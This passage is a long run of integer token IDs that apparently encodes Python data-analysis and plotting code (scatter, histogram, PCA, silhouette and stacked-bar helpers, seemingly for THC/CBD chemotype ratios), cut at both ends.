21012, 742, 525, 10921, 2033, 13, 4706, 269, 29918, 3502, 414, 353, 6024, 29985, 742, 525, 29928, 742, 525, 29877, 2033, 13, 4706, 302, 29918, 4151, 1144, 353, 7431, 29898, 19290, 1839, 10633, 29918, 4151, 1144, 11287, 13, 4706, 363, 5312, 262, 29892, 2927, 29892, 17456, 297, 14319, 29898, 19290, 1839, 10633, 29918, 4151, 1144, 7464, 269, 29918, 27703, 7503, 29876, 29918, 4151, 1144, 1402, 269, 29918, 3502, 414, 7503, 29876, 29918, 4151, 1144, 29962, 1125, 13, 9651, 269, 1983, 29889, 1557, 2620, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 18884, 848, 29922, 1491, 29918, 2176, 29889, 2029, 29961, 1491, 29918, 2176, 1839, 4151, 262, 29918, 29517, 2033, 1360, 4151, 262, 1402, 13, 18884, 269, 29922, 29879, 29974, 29941, 29945, 29892, 13, 18884, 7636, 2780, 2433, 8517, 742, 13, 18884, 1196, 2103, 29922, 29896, 29889, 29945, 29892, 13, 18884, 2927, 29922, 2780, 29892, 13, 18884, 3858, 29922, 4151, 262, 29892, 13, 18884, 17456, 29922, 22976, 29892, 13, 18884, 4853, 29922, 1165, 29897, 13, 1678, 736, 4853, 13, 13, 13, 1753, 679, 29918, 1188, 29898, 2176, 29892, 508, 7183, 29918, 29896, 2433, 4260, 29918, 386, 29883, 742, 508, 7183, 29918, 29906, 2433, 4260, 29918, 29883, 6448, 29374, 268, 13, 1678, 396, 679, 3446, 29907, 29918, 21685, 29928, 11959, 363, 9853, 267, 1728, 29871, 29900, 2025, 29918, 386, 29883, 313, 485, 3398, 1933, 4821, 491, 29871, 29900, 29897, 13, 1678, 4489, 1839, 3605, 601, 2033, 353, 29871, 29900, 13, 1678, 4489, 29889, 2029, 29961, 2176, 29961, 29883, 812, 370, 29918, 29906, 29962, 2804, 29871, 29900, 29892, 525, 3605, 601, 2033, 353, 313, 2176, 29889, 2029, 29961, 2176, 29961, 29883, 812, 370, 29918, 29906, 29962, 2804, 29871, 29900, 29892, 508, 7183, 29918, 29896, 2314, 847, 313, 2176, 29889, 2029, 29961, 2176, 29961, 29883, 812, 370, 29918, 29906, 29962, 2804, 29871, 29900, 29892, 508, 7183, 29918, 29906, 2314, 13, 268, 13, 1678, 396, 679, 1480, 29918, 4690, 29907, 29918, 21685, 29928, 659, 29879, 29871, 13, 1678, 4489, 1839, 1188, 29918, 3605, 601, 2033, 353, 29871, 29900, 13, 1678, 4489, 29889, 2029, 29961, 2176, 1839, 3605, 601, 2033, 2804, 29871, 29900, 29892, 525, 1188, 29918, 3605, 601, 2033, 353, 7442, 29889, 1188, 29896, 29900, 29898, 2176, 29889, 2029, 29961, 2176, 1839, 3605, 601, 2033, 2804, 29871, 29900, 29892, 525, 3605, 601, 11287, 13, 268, 13, 1678, 396, 731, 278, 29871, 29900, 2025, 29918, 29883, 6448, 9853, 267, 304, 385, 17541, 23584, 1880, 9016, 13, 1678, 4489, 29889, 2029, 29961, 2176, 29961, 29883, 812, 370, 29918, 29906, 29962, 1275, 29871, 29900, 29892, 525, 1188, 29918, 3605, 601, 2033, 353, 29871, 29946, 13, 1678, 4489, 29889, 2029, 29961, 2176, 29961, 29883, 812, 370, 29918, 29896, 29962, 1275, 29871, 29900, 29892, 525, 1188, 29918, 3605, 601, 2033, 353, 448, 29906, 13, 268, 13, 1678, 1480, 29918, 3605, 601, 353, 4489, 1839, 1188, 29918, 3605, 601, 2033, 13, 268, 13, 1678, 736, 1480, 29918, 3605, 601, 13, 13, 13, 1753, 1065, 29918, 29882, 391, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 1014, 29918, 2176, 353, 4559, 29918, 2176, 29898, 2176, 29892, 9049, 5085, 1839, 11249, 29918, 1154, 11287, 13, 268, 13, 1678, 396, 777, 5700, 29899, 22450, 13, 1678, 274, 29873, 29918, 386, 3781, 29918, 9812, 353, 29871, 29945, 13, 1678, 274, 29873, 29918, 386, 3781, 29918, 677, 353, 29871, 29900, 29889, 29906, 29945, 13, 1678, 4236, 29918, 1188, 353, 29871, 29946, 13, 1678, 1375, 29918, 1188, 353, 448, 29906, 29889, 29900, 13, 268, 13, 1678, 396, 679, 1480, 848, 13, 1678, 1480, 29918, 29883, 812, 370, 353, 679, 29918, 1188, 29898, 1491, 29918, 2176, 29892, 508, 7183, 29918, 29896, 2433, 4260, 29918, 18717, 19290, 1839, 29916, 7464, 508, 7183, 29918, 29906, 2433, 4260, 29918, 18717, 19290, 1839, 29891, 11287, 13, 268, 13, 1678, 396, 679, 9825, 13342, 13, 1678, 9825, 29892, 289, 1144, 353, 7442, 29889, 29882, 391, 13342, 29898, 1188, 29918, 29883, 812, 370, 29892, 289, 1144, 29922, 9302, 29889, 279, 927, 29898, 1195, 29918, 1188, 29899, 29900, 29889, 29896, 29892, 4236, 29918, 1188, 29974, 29900, 29889, 29896, 29892, 29871, 29900, 29889, 29900, 29945, 876, 13, 13, 1678, 396, 679, 11955, 13, 1678, 11955, 353, 5159, 13, 1678, 363, 4482, 29892, 1880, 297, 14319, 29898, 29890, 1144, 29892, 29890, 1144, 29961, 29896, 17531, 1125, 13, 4706, 1029, 29887, 353, 7442, 29889, 12676, 4197, 677, 29892, 1880, 2314, 13, 4706, 565, 1029, 29887, 6736, 7442, 29889, 1188, 29896, 29900, 29898, 312, 29918, 386, 3781, 29918, 9812, 1125, 13, 9651, 11955, 29889, 4397, 877, 26031, 9539, 1495, 13, 4706, 25342, 1029, 29887, 5277, 7442, 29889, 1188, 29896, 29900, 29898, 312, 29918, 386, 3781, 29918, 677, 1125, 13, 9651, 11955, 29889, 4397, 877, 8517, 1495, 13, 4706, 1683, 29901, 13, 9651, 11955, 29889, 4397, 877, 1655, 295, 9539, 1495, 13, 268, 13, 1678, 396, 6492, 9825, 13342, 29892, 266, 3781, 3361, 13, 1678, 4853, 29889, 1646, 29898, 29890, 1144, 7503, 29899, 29896, 1402, 9825, 29889, 579, 668, 29898, 9302, 29889, 7411, 29941, 29906, 29897, 847, 9825, 29889, 2083, 3285, 29871, 13, 539, 2920, 7607, 29890, 1144, 29961, 29896, 29962, 29899, 29890, 1144, 29961, 29900, 11724, 2927, 29922, 27703, 29897, 308, 13, 1678, 4853, 29889, 5317, 4197, 9302, 29889, 1188, 29896, 29900, 29898, 312, 29918, 386, 3781, 29918, 9812, 511, 7442, 29889, 1188, 29896, 29900, 29898, 312, 29918, 386, 3781, 29918, 9812, 29897, 1402, 518, 29900, 29892, 9049, 5085, 1839, 29891, 2576, 29879, 2033, 29961, 29896, 29962, 29899, 29900, 29889, 29900, 29906, 1402, 29871, 13, 9651, 6276, 342, 1508, 2433, 489, 742, 2927, 2433, 29895, 742, 1196, 2103, 29922, 29896, 29897, 13, 1678, 4853, 29889, 5317, 4197, 9302, 29889, 1188, 29896, 29900, 29898, 312, 29918, 386, 3781, 29918, 677, 511, 7442, 29889, 1188, 29896, 29900, 29898, 312, 29918, 386, 3781, 29918, 677, 29897, 1402, 518, 29900, 29892, 9049, 5085, 1839, 29891, 2576, 29879, 2033, 29961, 29896, 29962, 29899, 29900, 29889, 29900, 29906, 1402, 29871, 13, 9651, 6276, 342, 1508, 2433, 489, 742, 2927, 2433, 29895, 742, 1196, 2103, 29922, 29896, 29897, 13, 13, 1678, 4853, 29889, 842, 29918, 486, 860, 21134, 18959, 742, 7411, 703, 29899, 7192, 4968, 448, 29896, 29892, 29871, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 5785, 703, 7192, 1159, 2314, 29871, 13, 13, 1678, 396, 4216, 15983, 13, 1678, 8950, 327, 7384, 353, 6024, 4690, 29907, 29899, 11096, 742, 525, 22031, 3446, 29907, 29914, 21685, 29928, 742, 525, 21685, 29928, 29899, 11096, 2033, 13, 462, 259, 13, 1678, 274, 29873, 29918, 29896, 353, 286, 5041, 267, 29889, 29925, 905, 29898, 2780, 2433, 26031, 9539, 742, 3858, 2433, 4690, 29907, 29899, 11096, 1495, 13, 1678, 274, 29873, 29918, 29906, 353, 286, 5041, 267, 29889, 29925, 905, 29898, 2780, 2433, 1655, 295, 9539, 742, 3858, 2433, 22031, 3446, 29907, 29914, 21685, 29928, 1495, 13, 1678, 274, 29873, 29918, 29941, 353, 286, 5041, 267, 29889, 29925, 905, 29898, 2780, 2433, 8517, 742, 3858, 2433, 21685, 29928, 29899, 11096, 1495, 13, 462, 259, 13, 1678, 274, 29873, 29918, 3179, 793, 29892, 274, 29873, 29918, 21134, 353, 4853, 29889, 657, 29918, 26172, 29918, 3179, 793, 29918, 21134, 580, 13, 268, 13, 1678, 274, 29873, 29918, 21134, 29918, 29876, 353, 17288, 29916, 29892, 4489, 29889, 2029, 29961, 2176, 1839, 14969, 327, 668, 2033, 1360, 29916, 1822, 12181, 29961, 29900, 2314, 363, 921, 297, 8950, 327, 7384, 29962, 13, 1678, 274, 29873, 29918, 21134, 353, 518, 29916, 29974, 12764, 15755, 2433, 29974, 710, 29898, 29876, 29897, 363, 921, 29892, 302, 297, 274, 29873, 29918, 21134, 29918, 29876, 29962, 13, 268, 13, 1678, 4853, 29889, 26172, 29898, 3179, 793, 11759, 312, 29918, 29896, 29892, 312, 29918, 29906, 29892, 312, 29918, 29941, 1402, 11073, 29922, 312, 29918, 21134, 29892, 3257, 2433, 1451, 331, 327, 668, 742, 8411, 2848, 29922, 29946, 29897, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 1753, 4226, 675, 29898, 2176, 29892, 28730, 1125, 13, 1678, 4489, 29889, 2029, 7503, 29892, 28730, 29962, 353, 313, 2176, 29889, 2029, 7503, 29892, 28730, 29962, 13, 462, 539, 869, 4563, 29898, 2176, 29889, 2029, 7503, 29892, 28730, 1822, 2083, 29898, 8990, 29922, 29896, 511, 9685, 29922, 29900, 29897, 13, 462, 539, 869, 18056, 368, 29898, 29896, 29900, 29900, 876, 13, 1678, 736, 4489, 13, 13, 13, 1753, 4236, 29918, 1195, 29898, 2749, 1125, 13, 1678, 736, 3948, 14571, 2749, 29889, 3317, 580, 29899, 2749, 29889, 1195, 3101, 13, 13, 13, 1753, 1207, 29918, 29879, 9555, 29898, 6605, 29918, 1761, 1125, 13, 1678, 9995, 13, 1678, 6204, 263, 9657, 515, 278, 1051, 304, 2910, 304, 29871, 29900, 636, 2435, 29898, 29880, 29897, 13, 1678, 16969, 263, 611, 2496, 304, 2910, 263, 3652, 304, 445, 2888, 2656, 1797, 13, 1678, 9995, 13, 1678, 2656, 29918, 2098, 353, 426, 29895, 29901, 29894, 363, 413, 29892, 29894, 297, 14319, 29898, 6605, 29918, 1761, 29892, 3464, 29898, 2435, 29898, 6605, 29918, 1761, 876, 2915, 13, 1678, 736, 14013, 269, 29901, 269, 29889, 1958, 29898, 2892, 921, 29901, 2656, 29918, 2098, 29961, 29916, 2314, 13, 13, 13, 1753, 1065, 29918, 1646, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 565, 525, 29882, 434, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 1983, 29889, 1646, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 1678, 298, 434, 29922, 19290, 1839, 29882, 434, 7464, 13, 462, 1678, 848, 29922, 2176, 29892, 13, 462, 1678, 282, 26456, 29922, 19290, 1839, 29886, 26456, 7464, 13, 462, 1678, 1797, 29922, 19290, 1839, 2098, 11287, 13, 1678, 25342, 525, 29886, 26456, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 1983, 29889, 1646, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 1678, 848, 29922, 2176, 29892, 13, 462, 1678, 282, 26456, 29922, 19290, 1839, 29886, 26456, 7464, 13, 462, 1678, 1797, 29922, 19290, 1839, 2098, 11287, 13, 1678, 1683, 29901, 13, 4706, 269, 1983, 29889, 1646, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 259, 2927, 2433, 4366, 2536, 1845, 764, 1495, 13, 13, 1678, 736, 4853, 13, 13, 13, 1753, 1065, 29918, 1884, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 565, 525, 29886, 26456, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 1983, 29889, 1884, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 1678, 848, 29922, 2176, 29892, 13, 462, 1678, 282, 26456, 29922, 19290, 1839, 29886, 26456, 7464, 13, 462, 1678, 1797, 29922, 19290, 1839, 2098, 11287, 13, 1678, 1683, 29901, 13, 4706, 269, 1983, 29889, 1884, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 1669, 2927, 2433, 4366, 2536, 1845, 764, 1495, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 13, 1753, 1065, 29918, 29886, 1113, 29898, 2176, 29892, 28730, 29892, 6056, 29922, 5574, 29892, 302, 29918, 14036, 29922, 29906, 29892, 4236, 29918, 1195, 29918, 2749, 29922, 8824, 1125, 13, 1678, 4489, 29961, 22724, 29962, 353, 4489, 29961, 22724, 1822, 5589, 1056, 29898, 29900, 29897, 13, 268, 13, 1678, 396, 679, 8177, 310, 4206, 393, 526, 599, 29871, 29900, 363, 6790, 4341, 13, 1678, 5225, 29918, 11227, 353, 313, 2176, 29961, 22724, 29962, 1360, 29900, 467, 2083, 29898, 8990, 29922, 29896, 29897, 1360, 2435, 29898, 22724, 29897, 13, 1678, 4489, 353, 4489, 29961, 30022, 9171, 29918, 11227, 1822, 8552, 580, 13, 268, 13, 1678, 565, 6056, 29901, 13, 4706, 1060, 353, 4226, 675, 29898, 2176, 29892, 28730, 467, 8552, 580, 13, 1678, 1683, 29901, 13, 4706, 1060, 353, 4489, 29889, 8552, 580, 13, 308, 13, 1678, 1904, 353, 349, 5454, 29898, 29876, 29918, 14036, 29922, 29876, 29918, 14036, 29897, 13, 1678, 1904, 29889, 9202, 29898, 29990, 29889, 2029, 7503, 29892, 28730, 2314, 13, 1678, 3948, 353, 1904, 29889, 9202, 29918, 9067, 29898, 29990, 29889, 2029, 7503, 29892, 28730, 2314, 13, 268, 13, 1678, 565, 4236, 29918, 1195, 29918, 2749, 29901, 13, 4706, 3948, 353, 7442, 29889, 7302, 29918, 284, 549, 29918, 8990, 29898, 3317, 29918, 1195, 29892, 3948, 29922, 2749, 29892, 9685, 29922, 29900, 29897, 13, 268, 13, 1678, 396, 788, 937, 2211, 4163, 19435, 304, 4489, 13, 1678, 1060, 29961, 29900, 29962, 353, 3948, 7503, 29892, 29900, 29962, 13, 1678, 1060, 29961, 29896, 29962, 353, 3948, 7503, 29892, 29896, 29962, 13, 1678, 1060, 29961, 29906, 29962, 353, 3948, 7503, 29892, 29906, 29962, 13, 268, 13, 1678, 736, 1060, 29892, 3948, 29892, 1904, 13, 13, 13, 1753, 1065, 29918, 1359, 886, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 752, 29918, 2176, 353, 9049, 5085, 1839, 2388, 29918, 2176, 2033, 13, 1678, 752, 29918, 2176, 1839, 510, 833, 29918, 13628, 2033, 353, 7442, 29889, 6897, 29898, 2388, 29918, 2176, 8999, 19290, 1839, 29916, 7464, 19290, 1839, 29891, 2033, 5262, 467, 2083, 29898, 8990, 29922, 29896, 29897, 13, 1678, 752, 29918, 2176, 353, 752, 29918, 2176, 29889, 6605, 29918, 5975, 29898, 1609, 2433, 510, 833, 29918, 13628, 742, 12066, 2548, 29922, 8824, 467, 309, 542, 7503, 19290, 1839, 29876, 29918, 4990, 2033, 29962, 13, 268, 13, 1678, 4236, 29918, 29916, 353, 4489, 29961, 19290, 1839, 29916, 2033, 1822, 3317, 580, 13, 1678, 4236, 29918, 29891, 353, 4489, 29961, 19290, 1839, 29891, 2033, 1822, 3317, 580, 13, 268, 13, 1678, 26442, 353, 5159, 13, 1678, 363, 921, 297, 752, 29918, 2176, 29889, 1524, 5727, 7295, 13, 4706, 26442, 29889, 4397, 29898, 1165, 29889, 726, 29898, 29916, 29961, 29896, 3816, 19290, 1839, 29916, 2033, 14178, 3317, 29918, 29916, 29892, 13, 462, 632, 921, 29961, 29896, 3816, 19290, 1839, 29891, 2033, 14178, 3317, 29918, 29891, 29892, 13, 462, 632, 921, 29961, 29900, 1402, 13, 462, 632, 4079, 7915, 2433, 8934, 742, 13, 462, 632, 289, 1884, 29922, 8977, 29898, 2161, 2780, 2433, 10921, 742, 7636, 2780, 2433, 9539, 742, 17132, 29922, 29906, 29892, 15595, 29922, 29900, 29889, 29955, 29945, 4961, 13, 4706, 4853, 29889, 2936, 29898, 29900, 29892, 29871, 29900, 29892, 13, 462, 921, 29961, 29896, 3816, 19290, 1839, 29916, 2033, 14178, 3317, 29918, 29916, 29892, 13, 462, 921, 29961, 29896, 3816, 19290, 1839, 29891, 2033, 14178, 3317, 29918, 29891, 29892, 13, 462, 2927, 2433, 8517, 742, 15595, 29922, 29896, 29892, 13, 18884, 301, 29893, 29922, 29906, 29892, 2343, 29918, 2103, 29922, 29896, 29897, 13, 1678, 10365, 29918, 726, 29898, 726, 29879, 29897, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 1753, 1065, 29918, 25590, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 1014, 29918, 2176, 353, 4559, 29918, 2176, 29898, 2176, 29892, 9049, 5085, 1839, 11249, 29918, 1154, 11287, 13, 268, 13, 1678, 11073, 353, 4489, 29961, 19290, 1839, 29882, 434, 2033, 29962, 13, 1678, 1014, 29918, 21134, 353, 1014, 29918, 2176, 29961, 19290, 1839, 29882, 434, 2033, 29962, 13, 1678, 3858, 29918, 1761, 353, 11073, 29889, 1767, 29918, 2798, 29879, 2141, 2248, 13, 268, 13, 1678, 4047, 10774, 2353, 29918, 485, 29887, 353, 4047, 10774, 2353, 29918, 13628, 29898, 2176, 29961, 19290, 1839, 22724, 2033, 1402, 11073, 29897, 13, 1678, 4559, 29918, 25590, 29918, 791, 353, 4047, 10774, 2353, 29918, 27736, 29898, 1491, 29918, 2176, 29961, 19290, 1839, 22724, 2033, 1402, 1014, 29918, 21134, 29897, 13, 268, 13, 1678, 343, 29918, 13609, 29922, 29900, 13, 1678, 363, 474, 29892, 3858, 297, 26985, 29898, 1643, 29918, 1761, 7503, 19290, 1839, 29876, 29918, 4990, 2033, 29962, 1125, 13, 4706, 372, 29882, 29918, 19594, 29918, 25590, 29918, 791, 353, 4559, 29918, 25590, 29918, 791, 29961, 1491, 29918, 21134, 1360, 1643, 29962, 13, 4706, 372, 29882, 29918, 19594, 29918, 25590, 29918, 791, 29889, 6605, 580, 13, 13, 4706, 2159, 29918, 19594, 29918, 29875, 353, 372, 29882, 29918, 19594, 29918, 25590, 29918, 791, 29889, 12181, 29961, 29900, 29962, 13, 4706, 343, 29918, 21064, 353, 343, 29918, 13609, 29974, 2311, 29918, 19594, 29918, 29875, 13, 13, 4706, 2927, 353, 9049, 5085, 1839, 29886, 26456, 2033, 29961, 1643, 29962, 13, 4706, 4853, 29889, 5589, 29918, 14811, 29916, 29898, 9302, 29889, 279, 927, 29898, 29891, 29918, 13609, 29892, 343, 29918, 21064, 511, 13, 462, 9651, 29900, 29892, 372, 29882, 29918, 19594, 29918, 25590, 29918, 791, 29892, 13, 462, 965, 3700, 2780, 29922, 2780, 29892, 7636, 2780, 29922, 2780, 29892, 15595, 29922, 29900, 29889, 29955, 29897, 13, 4706, 4853, 29889, 726, 6278, 29900, 29889, 29900, 29945, 29892, 343, 29918, 13609, 29974, 29900, 29889, 29945, 29930, 2311, 29918, 19594, 29918, 29875, 29892, 3858, 29897, 13, 4706, 343, 29918, 13609, 353, 343, 29918, 21064, 29974, 29896, 13, 268, 13, 1678, 4853, 29889, 1165, 29894, 1220, 29898, 25590, 10774, 2353, 29918, 485, 29887, 29892, 2927, 2433, 4366, 2536, 1845, 764, 742, 6276, 342, 1508, 2433, 489, 1495, 13, 268, 13, 1678, 4853, 29889, 26172, 29898, 21134, 29922, 1839, 12810, 29887, 5664, 10774, 2353, 2522, 487, 12365, 29889, 29906, 29888, 29913, 4286, 4830, 29898, 25590, 10774, 2353, 29918, 485, 29887, 29897, 2314, 13, 13, 1678, 4853, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29892, 343, 29918, 21064, 29974, 29896, 29900, 29897, 13, 13, 1678, 736, 4853, 13, 13, 13, 1753, 8158, 29906, 13234, 29898, 29916, 1125, 13, 1678, 736, 921, 847, 921, 29889, 3317, 580, 13, 13, 13, 1753, 8363, 29906, 13628, 29898, 29916, 1125, 13, 1678, 736, 921, 334, 921, 29889, 3317, 580, 13, 13, 13, 1753, 679, 29918, 312, 29898, 2176, 1125, 13, 1678, 396, 8161, 3446, 29907, 29914, 21685, 29928, 11959, 13, 1678, 4489, 1839, 14969, 327, 668, 29918, 3605, 601, 2033, 353, 4489, 1839, 4260, 29918, 386, 29883, 13359, 4563, 29898, 2176, 1839, 4260, 29918, 29883, 6448, 7464, 5445, 29918, 1767, 29922, 29900, 29897, 13, 1678, 4489, 29889, 2029, 15625, 2176, 1839, 4260, 29918, 386, 29883, 2033, 1360, 29900, 26927, 29898, 2176, 1839, 4260, 29918, 29883, 6448, 2033, 19216, 29900, 511, 525, 14969, 327, 668, 29918, 3605, 601, 2033, 353, 448, 9302, 29889, 7192, 13, 1678, 4489, 29889, 2029, 15625, 2176, 1839, 4260, 29918, 386, 29883, 2033, 19216, 29900, 26927, 29898, 2176, 1839, 4260, 29918, 29883, 6448, 2033, 1360, 29900, 511, 525, 14969, 327, 668, 29918, 3605, 601, 2033, 353, 7442, 29889, 7192, 13, 13, 1678, 396, 9016, 8950, 327, 7384, 491, 11959, 13, 1678, 4489, 1839, 14969, 327, 668, 2033, 353, 10518, 29889, 7582, 29898, 2176, 1839, 14969, 327, 668, 29918, 3605, 601, 7464, 13, 462, 18884, 21069, 9302, 29889, 7192, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29945, 29892, 7442, 29889, 7192, 1402, 13, 462, 462, 11073, 29922, 1839, 21685, 29928, 29899, 11096, 3788, 22031, 3446, 29907, 29914, 21685, 29928, 742, 525, 4690, 29907, 29899, 11096, 7464, 13, 462, 9651, 3160, 29918, 677, 342, 29922, 5574, 29897, 13, 1678, 736, 4489, 13, 13, 13, 1753, 1065, 29918, 1429, 287, 29918, 1646, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 565, 525, 2098, 29915, 297, 9049, 5085, 29901, 13, 4706, 4489, 29961, 19290, 1839, 2098, 2033, 1822, 5317, 29898, 14380, 2433, 1646, 742, 5096, 287, 29922, 5574, 29892, 2927, 29922, 19290, 1839, 29886, 26456, 7464, 4853, 29922, 1165, 29897, 13, 1678, 1683, 29901, 13, 4706, 4489, 29889, 5317, 29898, 14380, 2433, 1646, 742, 5096, 287, 29922, 5574, 29892, 2927, 29922, 19290, 1839, 29886, 26456, 7464, 4853, 29922, 1165, 29897, 13, 268, 13, 1678, 396, 869, 5041, 267, 338, 4129, 2768, 310, 278, 8727, 13, 1678, 363, 7705, 297, 4853, 29889, 5041, 267, 29901, 13, 4706, 396, 10987, 988, 4129, 338, 5982, 13, 4706, 3171, 353, 7705, 29889, 657, 29918, 3545, 580, 13, 4706, 2920, 353, 7705, 29889, 657, 29918, 2103, 580, 13, 4706, 921, 353, 7705, 29889, 657, 29918, 29916, 580, 13, 4706, 343, 353, 7705, 29889, 657, 29918, 29891, 580, 13, 13, 4706, 396, 450, 3171, 310, 278, 2594, 338, 278, 848, 995, 322, 508, 367, 1304, 408, 278, 3858, 13, 4706, 3858, 29918, 726, 353, 285, 29915, 29912, 3545, 29901, 29889, 29896, 29888, 10560, 29915, 29871, 396, 285, 29915, 29912, 3545, 29901, 29889, 29906, 29888, 10162, 304, 3402, 13677, 1819, 13, 13, 4706, 396, 4853, 29889, 726, 29898, 29916, 29892, 343, 29892, 1426, 29897, 13, 4706, 3858, 29918, 29916, 353, 921, 718, 2920, 847, 29871, 29906, 13, 4706, 3858, 29918, 29891, 353, 343, 718, 3171, 847, 29871, 29906, 13, 13, 4706, 396, 6492, 871, 746, 3171, 338, 7621, 1135, 6790, 995, 13, 4706, 565, 3171, 1405, 29871, 29945, 29901, 13, 9651, 13872, 353, 4853, 29889, 726, 29898, 1643, 29918, 29916, 29892, 3858, 29918, 29891, 29892, 3858, 29918, 726, 29892, 447, 2433, 5064, 742, 2947, 2433, 5064, 742, 4079, 2311, 29922, 29896, 29900, 29892, 4079, 7915, 2433, 8934, 742, 2927, 2433, 8517, 1495, 13, 9651, 13872, 29889, 842, 29918, 2084, 29918, 15987, 29879, 4197, 2605, 13971, 29879, 29889, 2541, 855, 10946, 29898, 16292, 29922, 29946, 29892, 363, 18128, 2433, 29893, 1495, 2314, 13, 1678, 4853, 29889, 26172, 29898, 29890, 1884, 29918, 517, 29918, 25367, 7607, 29896, 29889, 29900, 29945, 29892, 29871, 29896, 511, 1180, 2433, 21064, 2175, 742, 5139, 1165, 267, 8305, 29922, 29900, 1846, 268, 13, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 29937, 822, 1065, 29918, 3733, 279, 29918, 5317, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 29937, 396, 268, 1596, 29898, 2176, 29889, 2029, 7503, 29892, 19290, 1839, 22724, 2033, 2314, 13, 29937, 268, 2099, 29918, 22724, 353, 1051, 29898, 2176, 29889, 2029, 7503, 29892, 19290, 1839, 22724, 2033, 1822, 12676, 29898, 8990, 29922, 29900, 876, 13, 29937, 268, 2099, 29918, 22724, 29906, 353, 2099, 29918, 22724, 718, 2099, 29918, 22724, 7503, 29896, 29962, 13, 268, 13, 29937, 268, 23619, 353, 518, 29876, 847, 7431, 29898, 12676, 29918, 22724, 29897, 334, 29871, 29906, 334, 7442, 29889, 1631, 363, 302, 297, 3464, 29898, 2435, 29898, 12676, 29918, 22724, 28166, 13, 29937, 268, 23619, 353, 23619, 718, 23619, 7503, 29896, 29962, 13, 268, 13, 29937, 268, 396, 679, 2927, 13, 29937, 268, 1797, 353, 7442, 29889, 5085, 441, 29898, 12676, 29918, 22724, 9601, 1057, 29899, 29896, 29962, 13, 29937, 268, 2246, 29918, 791, 353, 7442, 29889, 2378, 29898, 19290, 1839, 22724, 2033, 9601, 2098, 3816, 29900, 29962, 13, 268, 13, 29937, 268, 565, 525, 27703, 29915, 297, 9049, 5085, 29901, 13, 29937, 308, 11955, 353, 9049, 5085, 1839, 27703, 2033, 13, 29937, 268, 1683, 29901, 13, 29937, 308, 11955, 353, 9049, 5085, 1839, 29886, 26456, 2033, 29961, 3332, 29918, 791, 29962, 13, 268, 13, 29937, 396, 268, 396, 1059, 22306, 13, 29937, 396, 268, 4589, 29918, 22724, 353, 1051, 29898, 2176, 29889, 2029, 7503, 29892, 19290, 1839, 22724, 2033, 1822, 4172, 29898, 8990, 29922, 29900, 876, 13, 29937, 396, 268, 4589, 29918, 22724, 29906, 353, 4589, 29918, 22724, 718, 4589, 29918, 22724, 7503, 29896, 29962, 13, 29937, 396, 268, 4853, 29889, 2704, 1646, 29898, 19536, 29892, 2099, 29918, 22724, 29906, 29892, 343, 3127, 29922, 3127, 29918, 22724, 29906, 29892, 2117, 2311, 29922, 29900, 29892, 2927, 29922, 27703, 29892, 6276, 342, 1508, 2433, 2929, 333, 742, 321, 2780, 2433, 4366, 2536, 1845, 764, 1495, 13, 268, 13, 29937, 268, 396, 6492, 13, 29937, 268, 565, 9049, 5085, 1839, 485, 29887, 2033, 29901, 13, 29937, 308, 4853, 29889, 5317, 29898, 19536, 29892, 2099, 29918, 22724, 29906, 29892, 2927, 29922, 27703, 29892, 301, 29893, 29922, 29896, 29892, 6276, 342, 1508, 2433, 2929, 333, 1495, 13, 29937, 308, 4853, 29889, 5589, 29898, 19536, 29892, 2099, 29918, 22724, 29906, 29892, 11955, 29892, 15595, 29922, 29900, 29889, 29896, 29897, 13, 13, 29937, 308, 396, 343, 13071, 13, 29937, 308, 4853, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29892, 7442, 29889, 3317, 29898, 12676, 29918, 22724, 29906, 876, 13, 29937, 268, 1683, 29901, 13, 29937, 308, 363, 1948, 29918, 13140, 29892, 1948, 297, 4489, 29961, 19290, 1839, 22724, 2033, 1822, 1524, 5727, 7295, 13, 29937, 632, 1948, 29918, 1761, 353, 1051, 29898, 798, 29897, 13, 29937, 632, 1948, 29918, 1761, 29906, 353, 1948, 29918, 1761, 718, 1948, 29918, 1761, 7503, 29896, 29962, 13, 29937, 632, 565, 1134, 29898, 27703, 29897, 1360, 710, 29901, 13, 29937, 462, 4853, 29889, 5317, 29898, 19536, 29892, 1948, 29918, 1761, 29906, 29892, 2927, 29922, 27703, 29892, 301, 29893, 29922, 29900, 29889, 29945, 29897, 13, 29937, 632, 1683, 29901, 13, 29937, 462, 4853, 29889, 5317, 29898, 19536, 29892, 1948, 29918, 1761, 29906, 29892, 2927, 29922, 27703, 29961, 798, 29918, 13140, 1402, 301, 29893, 29922, 29900, 29889, 29945, 29897, 13, 29937, 632, 4853, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29892, 7442, 29889, 3317, 29898, 2176, 29961, 19290, 1839, 22724, 2033, 1822, 3317, 22130, 13, 268, 13, 13, 29937, 268, 396, 16892, 11073, 13, 29937, 268, 16892, 29918, 29880, 6897, 